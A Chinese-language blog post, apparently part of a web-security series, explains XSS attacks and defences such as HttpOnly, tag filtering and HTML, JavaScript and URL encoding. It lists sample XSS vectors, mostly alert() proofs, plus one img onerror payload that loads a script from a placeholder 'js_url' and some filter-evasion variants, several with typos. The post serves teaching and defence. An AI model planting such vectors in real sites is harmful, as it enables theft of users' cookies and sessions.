21

上文说完了CSRF攻击,本文继续研究它的兄弟XSS攻击。

什么是XSS攻击

XSS攻击全名(Cross-Site-Script)跨域脚本攻击,为了跟CSS(Cascading-Style-Sheet)区分开来,所以缩写是XSS。

XSS攻击的原理

上一节说道的CSRF攻击是利用的是“伪请求”,这一节的XSS的原理是利用脚本注入的方式。
主要是依靠一切可能的手段,将浏览器中可以执行的脚本(javascript)植入到页面代码中,从而获取用户cookie甚至账号密码等敏感数据使用户造成的一定的损失。
通常利用的是目标网站的发帖、发布产品等需要用户输入的地方,将脚本混淆到html输入中,上传到服务器,再诱导别的用户打开此页面,执行脚本的一个过程。

XSS攻击的方法

xss漏洞是对web客户端(浏览器)的攻击,所以说植入的代码基本上以javascript和html标签(有时也有结合css样式的xss向量)为主。
一般有四种方法:

  1. 页面标签附带脚本
  2. Dom 属性附带脚本
  3. 请求地址附带脚本
  4. 回车空格突破过滤限制

举两个小李子:

<script>alert('xss')</script>

<img scr=1 onerror=alert('xss')>

<a href=javascrip:alert('xss')>s</a>

<iframe src=javascript:alert('xss');height=0 width=0 />

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

<img src = “#”/**/onerror = alert(/XSS/)>
<img src = j
ava script :a ler t(/xss/)>

XSS攻击防御的手段

因为XSS的根本就是向网站插入脚本代码,并使它运行的一种手段。防御方法分为两种,服务端防御和客户端防御。
服务端防御:
1. HttpOnly
可以限制javascript不能读取cookie,防止会话ID泄露
2.处理富文本
过滤掉富文本中的敏感标签如(script、iframe、form),还有敏感词(javascript:) 等等
客户端防御:
1. 输入检查
防止输入敏感字段,如javascript、cookie等等
2. 检查输出
脚本都是通过混淆在HTML当中,被当成html代码的一部分才得到执行。
可以通过编码转义的办法,使得混淆在其中的脚本被当成文本处理,不会被执行。
编码转义的话,有三种方法:

*1.  HTML encode*
    将字符转换成HTMLEntities,一般会转(&、<、>、"、'、/)这6个字符。一般是在html标签属性输出的时候使用
*2.  JavaScriptEncode*
    使用”\“对特殊字符进行转义。
    一般在script标签输出、事件输出、CSS输出
*3.  URL Encode*
    使用URLEncode的方法。
    

参考:
XSS的原理分析与解剖
跨站脚本攻击(XSS)——常见网站攻击手段原理与防御
XSS攻击及防御
XSS攻击的解决方法

【相关】
web安全,是一个很重要的技能,也是一个领域的知识。我把这个领域的东西写成了一个系列,以后还会继续完善下去:
web安全一:同源策略与跨域
web安全二:CSRF 攻击
web安全三:XSS 攻击


MorePainMoreGain
164 声望12 粉丝

当你一无所有时,你自己就是最大的本钱,投资自己比什么都重要